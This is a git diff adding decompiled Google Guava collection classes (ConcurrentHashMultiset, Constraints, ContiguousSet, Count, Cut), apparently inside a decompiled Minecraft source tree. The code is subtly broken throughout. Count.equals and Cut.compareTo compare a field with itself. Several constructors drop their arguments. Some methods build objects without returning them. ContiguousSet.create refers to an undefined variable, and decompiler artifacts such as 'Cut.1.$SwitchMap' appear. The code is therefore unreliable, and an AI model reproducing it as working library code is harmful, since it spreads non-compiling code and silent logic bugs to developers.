+    Iterables.addAll(multiset, elements);
+    return multiset;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <E> ConcurrentHashMultiset<E> create(MapMaker mapMaker)
+  {
+    return new ConcurrentHashMultiset(mapMaker.makeMap());
+  }
+  
+
+
+
+
+
+
+
+
+  @VisibleForTesting
+  ConcurrentHashMultiset(ConcurrentMap<E, AtomicInteger> countMap)
+  {
+    Preconditions.checkArgument(countMap.isEmpty());
+    this.countMap = countMap;
+  }
+  
+
+
+
+
+
+
+
+  public int count(@Nullable Object element)
+  {
+    AtomicInteger existingCounter = (AtomicInteger)Maps.safeGet(countMap, element);
+    return existingCounter == null ? 0 : existingCounter.get();
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    long sum = 0L;
+    for (AtomicInteger value : countMap.values()) {
+      sum += value.get();
+    }
+    return Ints.saturatedCast(sum);
+  }
+  
+
+
+
+
+  public Object[] toArray()
+  {
+    return snapshot().toArray();
+  }
+  
+  public <T> T[] toArray(T[] array) {
+    return snapshot().toArray(array);
+  }
+  
+
+
+
+  private List<E> snapshot()
+  {
+    List<E> list = Lists.newArrayListWithExpectedSize(size());
+    for (Multiset.Entry<E> entry : entrySet()) {
+      E element = entry.getElement();
+      for (int i = entry.getCount(); i > 0; i--) {
+        list.add(element);
+      }
+    }
+    return list;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public int add(E element, int occurrences)
+  {
+    Preconditions.checkNotNull(element);
+    if (occurrences == 0) {
+      return count(element);
+    }
+    Preconditions.checkArgument(occurrences > 0, "Invalid occurrences: %s", new Object[] { Integer.valueOf(occurrences) });
+    for (;;)
+    {
+      AtomicInteger existingCounter = (AtomicInteger)Maps.safeGet(countMap, element);
+      if (existingCounter == null) {
+        existingCounter = (AtomicInteger)countMap.putIfAbsent(element, new AtomicInteger(occurrences));
+        if (existingCounter == null) {
+          return 0;
+        }
+      }
+      
+      for (;;)
+      {
+        int oldValue = existingCounter.get();
+        if (oldValue != 0) {
+          try {
+            int newValue = IntMath.checkedAdd(oldValue, occurrences);
+            if (existingCounter.compareAndSet(oldValue, newValue))
+            {
+              return oldValue;
+            }
+          } catch (ArithmeticException overflow) {
+            throw new IllegalArgumentException("Overflow adding " + occurrences + " occurrences to a count of " + oldValue);
+          }
+        }
+        
+
+
+
+        AtomicInteger newCounter = new AtomicInteger(occurrences);
+        if ((countMap.putIfAbsent(element, newCounter) != null) && (!countMap.replace(element, existingCounter, newCounter)))
+          break;
+        return 0;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int remove(@Nullable Object element, int occurrences)
+  {
+    if (occurrences == 0) {
+      return count(element);
+    }
+    Preconditions.checkArgument(occurrences > 0, "Invalid occurrences: %s", new Object[] { Integer.valueOf(occurrences) });
+    
+    AtomicInteger existingCounter = (AtomicInteger)Maps.safeGet(countMap, element);
+    if (existingCounter == null) {
+      return 0;
+    }
+    for (;;) {
+      int oldValue = existingCounter.get();
+      if (oldValue != 0) {
+        int newValue = Math.max(0, oldValue - occurrences);
+        if (existingCounter.compareAndSet(oldValue, newValue)) {
+          if (newValue == 0)
+          {
+
+            countMap.remove(element, existingCounter);
+          }
+          return oldValue;
+        }
+      } else {
+        return 0;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean removeExactly(@Nullable Object element, int occurrences)
+  {
+    if (occurrences == 0) {
+      return true;
+    }
+    Preconditions.checkArgument(occurrences > 0, "Invalid occurrences: %s", new Object[] { Integer.valueOf(occurrences) });
+    
+    AtomicInteger existingCounter = (AtomicInteger)Maps.safeGet(countMap, element);
+    if (existingCounter == null) {
+      return false;
+    }
+    for (;;) {
+      int oldValue = existingCounter.get();
+      if (oldValue < occurrences) {
+        return false;
+      }
+      int newValue = oldValue - occurrences;
+      if (existingCounter.compareAndSet(oldValue, newValue)) {
+        if (newValue == 0)
+        {
+
+          countMap.remove(element, existingCounter);
+        }
+        return true;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  public int setCount(E element, int count)
+  {
+    Preconditions.checkNotNull(element);
+    CollectPreconditions.checkNonnegative(count, "count");
+    for (;;) {
+      AtomicInteger existingCounter = (AtomicInteger)Maps.safeGet(countMap, element);
+      if (existingCounter == null) {
+        if (count == 0) {
+          return 0;
+        }
+        existingCounter = (AtomicInteger)countMap.putIfAbsent(element, new AtomicInteger(count));
+        if (existingCounter == null) {
+          return 0;
+        }
+      }
+      
+
+      for (;;)
+      {
+        int oldValue = existingCounter.get();
+        if (oldValue == 0) {
+          if (count == 0) {
+            return 0;
+          }
+          AtomicInteger newCounter = new AtomicInteger(count);
+          if ((countMap.putIfAbsent(element, newCounter) == null) || (countMap.replace(element, existingCounter, newCounter)))
+          {
+            return 0;
+          }
+          
+          break;
+        }
+        if (existingCounter.compareAndSet(oldValue, count)) {
+          if (count == 0)
+          {
+
+            countMap.remove(element, existingCounter);
+          }
+          return oldValue;
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public boolean setCount(E element, int expectedOldCount, int newCount)
+  {
+    Preconditions.checkNotNull(element);
+    CollectPreconditions.checkNonnegative(expectedOldCount, "oldCount");
+    CollectPreconditions.checkNonnegative(newCount, "newCount");
+    
+    AtomicInteger existingCounter = (AtomicInteger)Maps.safeGet(countMap, element);
+    if (existingCounter == null) {
+      if (expectedOldCount != 0)
+        return false;
+      if (newCount == 0) {
+        return true;
+      }
+      
+      return countMap.putIfAbsent(element, new AtomicInteger(newCount)) == null;
+    }
+    
+    int oldValue = existingCounter.get();
+    if (oldValue == expectedOldCount) {
+      if (oldValue == 0) {
+        if (newCount == 0)
+        {
+          countMap.remove(element, existingCounter);
+          return true;
+        }
+        AtomicInteger newCounter = new AtomicInteger(newCount);
+        return (countMap.putIfAbsent(element, newCounter) == null) || (countMap.replace(element, existingCounter, newCounter));
+      }
+      
+
+      if (existingCounter.compareAndSet(oldValue, newCount)) {
+        if (newCount == 0)
+        {
+
+          countMap.remove(element, existingCounter);
+        }
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+
+  Set<E> createElementSet()
+  {
+    final Set<E> delegate = countMap.keySet();
+    new ForwardingSet() {
+      protected Set<E> delegate() {
+        return delegate;
+      }
+      
+      public boolean contains(@Nullable Object object)
+      {
+        return (object != null) && (Collections2.safeContains(delegate, object));
+      }
+      
+      public boolean containsAll(Collection<?> collection)
+      {
+        return standardContainsAll(collection);
+      }
+      
+      public boolean remove(Object object) {
+        return (object != null) && (Collections2.safeRemove(delegate, object));
+      }
+      
+      public boolean removeAll(Collection<?> c) {
+        return standardRemoveAll(c);
+      }
+    };
+  }
+  
+
+  public Set<Multiset.Entry<E>> entrySet()
+  {
+    ConcurrentHashMultiset<E>.EntrySet result = entrySet;
+    if (result == null) {
+      entrySet = (result = new EntrySet(null));
+    }
+    return result;
+  }
+  
+  int distinctElements() {
+    return countMap.size();
+  }
+  
+  public boolean isEmpty() {
+    return countMap.isEmpty();
+  }
+  
+
+  Iterator<Multiset.Entry<E>> entryIterator()
+  {
+    final Iterator<Multiset.Entry<E>> readOnlyIterator = new AbstractIterator()
+    {
+      private Iterator<Map.Entry<E, AtomicInteger>> mapEntries = countMap.entrySet().iterator();
+      
+      protected Multiset.Entry<E> computeNext() {
+        for (;;) {
+          if (!mapEntries.hasNext()) {
+            return (Multiset.Entry)endOfData();
+          }
+          Map.Entry<E, AtomicInteger> mapEntry = (Map.Entry)mapEntries.next();
+          int count = ((AtomicInteger)mapEntry.getValue()).get();
+          if (count != 0) {
+            return Multisets.immutableEntry(mapEntry.getKey(), count);
+          }
+          
+        }
+      }
+    };
+    new ForwardingIterator() {
+      private Multiset.Entry<E> last;
+      
+      protected Iterator<Multiset.Entry<E>> delegate() {
+        return readOnlyIterator;
+      }
+      
+      public Multiset.Entry<E> next() {
+        last = ((Multiset.Entry)super.next());
+        return last;
+      }
+      
+      public void remove() {
+        CollectPreconditions.checkRemove(last != null);
+        setCount(last.getElement(), 0);
+        last = null;
+      }
+    };
+  }
+  
+
+  public void clear() { countMap.clear(); }
+  
+  private class EntrySet extends AbstractMultiset<E>.EntrySet {
+    private EntrySet() { super(); }
+    
+    ConcurrentHashMultiset<E> multiset() { return ConcurrentHashMultiset.this; }
+    
+
+
+
+
+
+    public Object[] toArray()
+    {
+      return snapshot().toArray();
+    }
+    
+    public <T> T[] toArray(T[] array) {
+      return snapshot().toArray(array);
+    }
+    
+    private List<Multiset.Entry<E>> snapshot() {
+      List<Multiset.Entry<E>> list = Lists.newArrayListWithExpectedSize(size());
+      
+      Iterators.addAll(list, iterator());
+      return list;
+    }
+  }
+  
+
+  private void writeObject(ObjectOutputStream stream)
+    throws IOException
+  {
+    stream.defaultWriteObject();
+    stream.writeObject(countMap);
+  }
+  
+  private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException {
+    stream.defaultReadObject();
+    
+    ConcurrentMap<E, Integer> deserializedCountMap = (ConcurrentMap)stream.readObject();
+    
+    FieldSettersHolder.COUNT_MAP_FIELD_SETTER.set(this, deserializedCountMap);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/Constraint.java b/src/minecraft/com/google/common/collect/Constraint.java
new file mode 100644
index 0000000..0296e3f
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Constraint.java
@@ -0,0 +1,11 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+
+@GwtCompatible
+abstract interface Constraint<E>
+{
+  public abstract E checkElement(E paramE);
+  
+  public abstract String toString();
+}
diff --git a/src/minecraft/com/google/common/collect/Constraints.java b/src/minecraft/com/google/common/collect/Constraints.java
new file mode 100644
index 0000000..91595c0
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Constraints.java
@@ -0,0 +1,304 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.Collection;
+import java.util.List;
+import java.util.ListIterator;
+import java.util.RandomAccess;
+import java.util.Set;
+import java.util.SortedSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+final class Constraints
+{
+  private Constraints() {}
+  
+  public static <E> Collection<E> constrainedCollection(Collection<E> collection, Constraint<? super E> constraint)
+  {
+    return new ConstrainedCollection(collection, constraint);
+  }
+  
+  static class ConstrainedCollection<E> extends ForwardingCollection<E>
+  {
+    private final Collection<E> delegate;
+    private final Constraint<? super E> constraint;
+    
+    public ConstrainedCollection(Collection<E> delegate, Constraint<? super E> constraint)
+    {
+      this.delegate = ((Collection)Preconditions.checkNotNull(delegate));
+      this.constraint = ((Constraint)Preconditions.checkNotNull(constraint));
+    }
+    
+    protected Collection<E> delegate() { return delegate; }
+    
+    public boolean add(E element) {
+      constraint.checkElement(element);
+      return delegate.add(element);
+    }
+    
+    public boolean addAll(Collection<? extends E> elements) { return delegate.addAll(Constraints.checkElements(elements, constraint)); }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> Set<E> constrainedSet(Set<E> set, Constraint<? super E> constraint)
+  {
+    return new ConstrainedSet(set, constraint);
+  }
+  
+  static class ConstrainedSet<E> extends ForwardingSet<E>
+  {
+    private final Set<E> delegate;
+    private final Constraint<? super E> constraint;
+    
+    public ConstrainedSet(Set<E> delegate, Constraint<? super E> constraint) {
+      this.delegate = ((Set)Preconditions.checkNotNull(delegate));
+      this.constraint = ((Constraint)Preconditions.checkNotNull(constraint));
+    }
+    
+    protected Set<E> delegate() { return delegate; }
+    
+    public boolean add(E element) {
+      constraint.checkElement(element);
+      return delegate.add(element);
+    }
+    
+    public boolean addAll(Collection<? extends E> elements) { return delegate.addAll(Constraints.checkElements(elements, constraint)); }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> SortedSet<E> constrainedSortedSet(SortedSet<E> sortedSet, Constraint<? super E> constraint)
+  {
+    return new ConstrainedSortedSet(sortedSet, constraint);
+  }
+  
+  private static class ConstrainedSortedSet<E> extends ForwardingSortedSet<E>
+  {
+    final SortedSet<E> delegate;
+    final Constraint<? super E> constraint;
+    
+    ConstrainedSortedSet(SortedSet<E> delegate, Constraint<? super E> constraint)
+    {
+      this.delegate = ((SortedSet)Preconditions.checkNotNull(delegate));
+      this.constraint = ((Constraint)Preconditions.checkNotNull(constraint));
+    }
+    
+    protected SortedSet<E> delegate() { return delegate; }
+    
+    public SortedSet<E> headSet(E toElement) {
+      return Constraints.constrainedSortedSet(delegate.headSet(toElement), constraint);
+    }
+    
+    public SortedSet<E> subSet(E fromElement, E toElement) { return Constraints.constrainedSortedSet(delegate.subSet(fromElement, toElement), constraint); }
+    
+
+
+    public SortedSet<E> tailSet(E fromElement) { return Constraints.constrainedSortedSet(delegate.tailSet(fromElement), constraint); }
+    
+    public boolean add(E element) {
+      constraint.checkElement(element);
+      return delegate.add(element);
+    }
+    
+    public boolean addAll(Collection<? extends E> elements) { return delegate.addAll(Constraints.checkElements(elements, constraint)); }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> List<E> constrainedList(List<E> list, Constraint<? super E> constraint)
+  {
+    return (list instanceof RandomAccess) ? new ConstrainedRandomAccessList(list, constraint) : new ConstrainedList(list, constraint);
+  }
+  
+  @GwtCompatible
+  private static class ConstrainedList<E>
+    extends ForwardingList<E>
+  {
+    final List<E> delegate;
+    final Constraint<? super E> constraint;
+    
+    ConstrainedList(List<E> delegate, Constraint<? super E> constraint)
+    {
+      this.delegate = ((List)Preconditions.checkNotNull(delegate));
+      this.constraint = ((Constraint)Preconditions.checkNotNull(constraint));
+    }
+    
+    protected List<E> delegate() { return delegate; }
+    
+    public boolean add(E element)
+    {
+      constraint.checkElement(element);
+      return delegate.add(element);
+    }
+    
+    public void add(int index, E element) { constraint.checkElement(element);
+      delegate.add(index, element);
+    }
+    
+    public boolean addAll(Collection<? extends E> elements) { return delegate.addAll(Constraints.checkElements(elements, constraint)); }
+    
+    public boolean addAll(int index, Collection<? extends E> elements)
+    {
+      return delegate.addAll(index, Constraints.checkElements(elements, constraint));
+    }
+    
+    public ListIterator<E> listIterator() { return Constraints.constrainedListIterator(delegate.listIterator(), constraint); }
+    
+
+    public ListIterator<E> listIterator(int index) { return Constraints.constrainedListIterator(delegate.listIterator(index), constraint); }
+    
+    public E set(int index, E element) {
+      constraint.checkElement(element);
+      return delegate.set(index, element);
+    }
+    
+    public List<E> subList(int fromIndex, int toIndex) { return Constraints.constrainedList(delegate.subList(fromIndex, toIndex), constraint); }
+  }
+  
+
+  static class ConstrainedRandomAccessList<E>
+    extends Constraints.ConstrainedList<E>
+    implements RandomAccess
+  {
+    ConstrainedRandomAccessList(List<E> delegate, Constraint<? super E> constraint)
+    {
+      super(constraint);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  private static <E> ListIterator<E> constrainedListIterator(ListIterator<E> listIterator, Constraint<? super E> constraint)
+  {
+    return new ConstrainedListIterator(listIterator, constraint);
+  }
+  
+  static class ConstrainedListIterator<E> extends ForwardingListIterator<E>
+  {
+    private final ListIterator<E> delegate;
+    private final Constraint<? super E> constraint;
+    
+    public ConstrainedListIterator(ListIterator<E> delegate, Constraint<? super E> constraint)
+    {
+      this.delegate = delegate;
+      this.constraint = constraint;
+    }
+    
+    protected ListIterator<E> delegate() { return delegate; }
+    
+    public void add(E element)
+    {
+      constraint.checkElement(element);
+      delegate.add(element);
+    }
+    
+    public void set(E element) { constraint.checkElement(element);
+      delegate.set(element);
+    }
+  }
+  
+  static <E> Collection<E> constrainedTypePreservingCollection(Collection<E> collection, Constraint<E> constraint)
+  {
+    if ((collection instanceof SortedSet))
+      return constrainedSortedSet((SortedSet)collection, constraint);
+    if ((collection instanceof Set))
+      return constrainedSet((Set)collection, constraint);
+    if ((collection instanceof List)) {
+      return constrainedList((List)collection, constraint);
+    }
+    return constrainedCollection(collection, constraint);
+  }
+  
+
+
+
+
+
+
+  private static <E> Collection<E> checkElements(Collection<E> elements, Constraint<? super E> constraint)
+  {
+    Collection<E> copy = Lists.newArrayList(elements);
+    for (E element : copy) {
+      constraint.checkElement(element);
+    }
+    return copy;
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ContiguousSet.java b/src/minecraft/com/google/common/collect/ContiguousSet.java
new file mode 100644
index 0000000..5c09096
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ContiguousSet.java
@@ -0,0 +1,184 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Preconditions;
+import java.util.Comparator;
+import java.util.NoSuchElementException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible(emulated=true)
+public abstract class ContiguousSet<C extends Comparable>
+  extends ImmutableSortedSet<C>
+{
+  final DiscreteDomain<C> domain;
+  
+  public static <C extends Comparable> ContiguousSet<C> create(Range<C> range, DiscreteDomain<C> domain)
+  {
+    Preconditions.checkNotNull(range);
+    Preconditions.checkNotNull(domain);
+    Range<C> effectiveRange = range;
+    try {
+      if (!range.hasLowerBound()) {
+        effectiveRange = effectiveRange.intersection(Range.atLeast(domain.minValue()));
+      }
+      if (!range.hasUpperBound()) {
+        effectiveRange = effectiveRange.intersection(Range.atMost(domain.maxValue()));
+      }
+    } catch (NoSuchElementException e) {
+      throw new IllegalArgumentException(e);
+    }
+    
+
+    boolean empty = (effectiveRange.isEmpty()) || (Range.compareOrThrow(lowerBound.leastValueAbove(domain), upperBound.greatestValueBelow(domain)) > 0);
+    
+
+
+
+    return empty ? new EmptyContiguousSet(domain) : new RegularContiguousSet(effectiveRange, domain);
+  }
+  
+
+
+
+  ContiguousSet(DiscreteDomain<C> domain)
+  {
+    super(Ordering.natural());
+    this.domain = domain;
+  }
+  
+  public ContiguousSet<C> headSet(C toElement) {
+    return headSetImpl((Comparable)Preconditions.checkNotNull(toElement), false);
+  }
+  
+
+
+  @GwtIncompatible("NavigableSet")
+  public ContiguousSet<C> headSet(C toElement, boolean inclusive)
+  {
+    return headSetImpl((Comparable)Preconditions.checkNotNull(toElement), inclusive);
+  }
+  
+  public ContiguousSet<C> subSet(C fromElement, C toElement) {
+    Preconditions.checkNotNull(fromElement);
+    Preconditions.checkNotNull(toElement);
+    Preconditions.checkArgument(comparator().compare(fromElement, toElement) <= 0);
+    return subSetImpl(fromElement, true, toElement, false);
+  }
+  
+
+
+
+  @GwtIncompatible("NavigableSet")
+  public ContiguousSet<C> subSet(C fromElement, boolean fromInclusive, C toElement, boolean toInclusive)
+  {
+    Preconditions.checkNotNull(fromElement);
+    Preconditions.checkNotNull(toElement);
+    Preconditions.checkArgument(comparator().compare(fromElement, toElement) <= 0);
+    return subSetImpl(fromElement, fromInclusive, toElement, toInclusive);
+  }
+  
+  public ContiguousSet<C> tailSet(C fromElement) {
+    return tailSetImpl((Comparable)Preconditions.checkNotNull(fromElement), true);
+  }
+  
+
+
+  @GwtIncompatible("NavigableSet")
+  public ContiguousSet<C> tailSet(C fromElement, boolean inclusive)
+  {
+    return tailSetImpl((Comparable)Preconditions.checkNotNull(fromElement), inclusive);
+  }
+  
+
+
+
+
+  abstract ContiguousSet<C> headSetImpl(C paramC, boolean paramBoolean);
+  
+
+
+
+
+  abstract ContiguousSet<C> subSetImpl(C paramC1, boolean paramBoolean1, C paramC2, boolean paramBoolean2);
+  
+
+
+
+
+  abstract ContiguousSet<C> tailSetImpl(C paramC, boolean paramBoolean);
+  
+
+
+
+
+  public abstract ContiguousSet<C> intersection(ContiguousSet<C> paramContiguousSet);
+  
+
+
+
+
+  public abstract Range<C> range();
+  
+
+
+
+
+  public abstract Range<C> range(BoundType paramBoundType1, BoundType paramBoundType2);
+  
+
+
+
+  public String toString()
+  {
+    return range().toString();
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public static <E> ImmutableSortedSet.Builder<E> builder()
+  {
+    throw new UnsupportedOperationException();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/Count.java b/src/minecraft/com/google/common/collect/Count.java
new file mode 100644
index 0000000..fd97070
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Count.java
@@ -0,0 +1,74 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.io.Serializable;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+final class Count
+  implements Serializable
+{
+  private int value;
+  
+  Count(int value)
+  {
+    this.value = value;
+  }
+  
+  public int get() {
+    return value;
+  }
+  
+  public int getAndAdd(int delta) {
+    int result = value;
+    value = (result + delta);
+    return result;
+  }
+  
+  public int addAndGet(int delta) {
+    return this.value += delta;
+  }
+  
+  public void set(int newValue) {
+    value = newValue;
+  }
+  
+  public int getAndSet(int newValue) {
+    int result = value;
+    value = newValue;
+    return result;
+  }
+  
+  public int hashCode()
+  {
+    return value;
+  }
+  
+  public boolean equals(@Nullable Object obj)
+  {
+    return ((obj instanceof Count)) && (value == value);
+  }
+  
+  public String toString()
+  {
+    return Integer.toString(value);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/Cut.java b/src/minecraft/com/google/common/collect/Cut.java
new file mode 100644
index 0000000..bad95bd
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Cut.java
@@ -0,0 +1,358 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import com.google.common.primitives.Booleans;
+import java.io.Serializable;
+import java.util.NoSuchElementException;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+abstract class Cut<C extends Comparable>
+  implements Comparable<Cut<C>>, Serializable
+{
+  final C endpoint;
+  private static final long serialVersionUID = 0L;
+  
+  Cut(@Nullable C endpoint)
+  {
+    this.endpoint = endpoint;
+  }
+  
+  abstract boolean isLessThan(C paramC);
+  
+  abstract BoundType typeAsLowerBound();
+  
+  abstract BoundType typeAsUpperBound();
+  
+  abstract Cut<C> withLowerBoundType(BoundType paramBoundType, DiscreteDomain<C> paramDiscreteDomain);
+  
+  abstract Cut<C> withUpperBoundType(BoundType paramBoundType, DiscreteDomain<C> paramDiscreteDomain);
+  
+  abstract void describeAsLowerBound(StringBuilder paramStringBuilder);
+  
+  abstract void describeAsUpperBound(StringBuilder paramStringBuilder);
+  
+  abstract C leastValueAbove(DiscreteDomain<C> paramDiscreteDomain);
+  
+  abstract C greatestValueBelow(DiscreteDomain<C> paramDiscreteDomain);
+  
+  Cut<C> canonical(DiscreteDomain<C> domain) {
+    return this;
+  }
+  
+
+  public int compareTo(Cut<C> that)
+  {
+    if (that == belowAll()) {
+      return 1;
+    }
+    if (that == aboveAll()) {
+      return -1;
+    }
+    int result = Range.compareOrThrow(endpoint, endpoint);
+    if (result != 0) {
+      return result;
+    }
+    
+    return Booleans.compare(this instanceof AboveValue, that instanceof AboveValue);
+  }
+  
+  C endpoint()
+  {
+    return endpoint;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if ((obj instanceof Cut))
+    {
+      Cut<C> that = (Cut)obj;
+      try {
+        int compareResult = compareTo(that);
+        return compareResult == 0;
+      }
+      catch (ClassCastException ignored) {}
+    }
+    return false;
+  }
+  
+
+
+
+
+  static <C extends Comparable> Cut<C> belowAll()
+  {
+    return BelowAll.INSTANCE;
+  }
+  
+  private static final class BelowAll
+    extends Cut<Comparable<?>>
+  {
+    private static final BelowAll INSTANCE = new BelowAll();
+    private static final long serialVersionUID = 0L;
+    
+    private BelowAll() { super(); }
+    
+    Comparable<?> endpoint() {
+      throw new IllegalStateException("range unbounded on this side");
+    }
+    
+    boolean isLessThan(Comparable<?> value) { return true; }
+    
+    BoundType typeAsLowerBound() {
+      throw new IllegalStateException();
+    }
+    
+    BoundType typeAsUpperBound() { throw new AssertionError("this statement should be unreachable"); }
+    
+    Cut<Comparable<?>> withLowerBoundType(BoundType boundType, DiscreteDomain<Comparable<?>> domain)
+    {
+      throw new IllegalStateException();
+    }
+    
+    Cut<Comparable<?>> withUpperBoundType(BoundType boundType, DiscreteDomain<Comparable<?>> domain) {
+      throw new AssertionError("this statement should be unreachable");
+    }
+    
+    void describeAsLowerBound(StringBuilder sb) { sb.append("(-∞"); }
+    
+    void describeAsUpperBound(StringBuilder sb) {
+      throw new AssertionError();
+    }
+    
+    Comparable<?> leastValueAbove(DiscreteDomain<Comparable<?>> domain) {
+      return domain.minValue();
+    }
+    
+    Comparable<?> greatestValueBelow(DiscreteDomain<Comparable<?>> domain) {
+      throw new AssertionError();
+    }
+    
+    Cut<Comparable<?>> canonical(DiscreteDomain<Comparable<?>> domain) {
+      try {
+        return Cut.belowValue(domain.minValue());
+      } catch (NoSuchElementException e) {}
+      return this;
+    }
+    
+    public int compareTo(Cut<Comparable<?>> o) {
+      return o == this ? 0 : -1;
+    }
+    
+    public String toString() { return "-∞"; }
+    
+    private Object readResolve() {
+      return INSTANCE;
+    }
+  }
+  
+
+
+
+
+
+  static <C extends Comparable> Cut<C> aboveAll()
+  {
+    return AboveAll.INSTANCE;
+  }
+  
+  private static final class AboveAll extends Cut<Comparable<?>> {
+    private static final AboveAll INSTANCE = new AboveAll();
+    private static final long serialVersionUID = 0L;
+    
+    private AboveAll() { super(); }
+    
+    Comparable<?> endpoint() {
+      throw new IllegalStateException("range unbounded on this side");
+    }
+    
+    boolean isLessThan(Comparable<?> value) { return false; }
+    
+    BoundType typeAsLowerBound() {
+      throw new AssertionError("this statement should be unreachable");
+    }
+    
+    BoundType typeAsUpperBound() { throw new IllegalStateException(); }
+    
+    Cut<Comparable<?>> withLowerBoundType(BoundType boundType, DiscreteDomain<Comparable<?>> domain)
+    {
+      throw new AssertionError("this statement should be unreachable");
+    }
+    
+    Cut<Comparable<?>> withUpperBoundType(BoundType boundType, DiscreteDomain<Comparable<?>> domain) {
+      throw new IllegalStateException();
+    }
+    
+    void describeAsLowerBound(StringBuilder sb) { throw new AssertionError(); }
+    
+    void describeAsUpperBound(StringBuilder sb) {
+      sb.append("+∞)");
+    }
+    
+    Comparable<?> leastValueAbove(DiscreteDomain<Comparable<?>> domain) {
+      throw new AssertionError();
+    }
+    
+    Comparable<?> greatestValueBelow(DiscreteDomain<Comparable<?>> domain) {
+      return domain.maxValue();
+    }
+    
+    public int compareTo(Cut<Comparable<?>> o) { return o == this ? 0 : 1; }
+    
+    public String toString() {
+      return "+∞";
+    }
+    
+    private Object readResolve() { return INSTANCE; }
+  }
+  
+
+
+
+  static <C extends Comparable> Cut<C> belowValue(C endpoint) { return new BelowValue(endpoint); }
+  
+  private static final class BelowValue<C extends Comparable> extends Cut<C> {
+    private static final long serialVersionUID = 0L;
+    
+    BelowValue(C endpoint) { super(); }
+    
+    boolean isLessThan(C value)
+    {
+      return Range.compareOrThrow(endpoint, value) <= 0;
+    }
+    
+    BoundType typeAsLowerBound() { return BoundType.CLOSED; }
+    
+
+    BoundType typeAsUpperBound() { return BoundType.OPEN; }
+    
+    Cut<C> withLowerBoundType(BoundType boundType, DiscreteDomain<C> domain) {
+      switch (Cut.1.$SwitchMap$com$google$common$collect$BoundType[boundType.ordinal()]) {
+      case 1: 
+        return this;
+      case 2: 
+        C previous = domain.previous(endpoint);
+        return previous == null ? Cut.belowAll() : new Cut.AboveValue(previous);
+      }
+      throw new AssertionError();
+    }
+    
+    Cut<C> withUpperBoundType(BoundType boundType, DiscreteDomain<C> domain) {
+      switch (Cut.1.$SwitchMap$com$google$common$collect$BoundType[boundType.ordinal()]) {
+      case 1: 
+        C previous = domain.previous(endpoint);
+        return previous == null ? Cut.aboveAll() : new Cut.AboveValue(previous);
+      case 2: 
+        return this;
+      }
+      throw new AssertionError();
+    }
+    
+    void describeAsLowerBound(StringBuilder sb) {
+      sb.append('[').append(endpoint);
+    }
+    
+    void describeAsUpperBound(StringBuilder sb) { sb.append(endpoint).append(')'); }
+    
+    C leastValueAbove(DiscreteDomain<C> domain) {
+      return endpoint;
+    }
+    
+    C greatestValueBelow(DiscreteDomain<C> domain) { return domain.previous(endpoint); }
+    
+    public int hashCode() {
+      return endpoint.hashCode();
+    }
+    
+    public String toString() { return "\\" + endpoint + "/"; }
+  }
+  
+
+
+
+  static <C extends Comparable> Cut<C> aboveValue(C endpoint) { return new AboveValue(endpoint); }
+  
+  private static final class AboveValue<C extends Comparable> extends Cut<C> {
+    private static final long serialVersionUID = 0L;
+    
+    AboveValue(C endpoint) { super(); }
+    
+    boolean isLessThan(C value)
+    {
+      return Range.compareOrThrow(endpoint, value) < 0;
+    }
+    
+    BoundType typeAsLowerBound() { return BoundType.OPEN; }
+    
+
+    BoundType typeAsUpperBound() { return BoundType.CLOSED; }
+    
+    Cut<C> withLowerBoundType(BoundType boundType, DiscreteDomain<C> domain) {
+      switch (Cut.1.$SwitchMap$com$google$common$collect$BoundType[boundType.ordinal()]) {
+      case 2: 
+        return this;
+      case 1: 
+        C next = domain.next(endpoint);
+        return next == null ? Cut.belowAll() : belowValue(next);
+      }
+      throw new AssertionError();
+    }
+    
+    Cut<C> withUpperBoundType(BoundType boundType, DiscreteDomain<C> domain) {
+      switch (Cut.1.$SwitchMap$com$google$common$collect$BoundType[boundType.ordinal()]) {
+      case 2: 
+        C next = domain.next(endpoint);
+        return next == null ? Cut.aboveAll() : belowValue(next);
+      case 1: 
+        return this;
+      }
+      throw new AssertionError();
+    }
+    
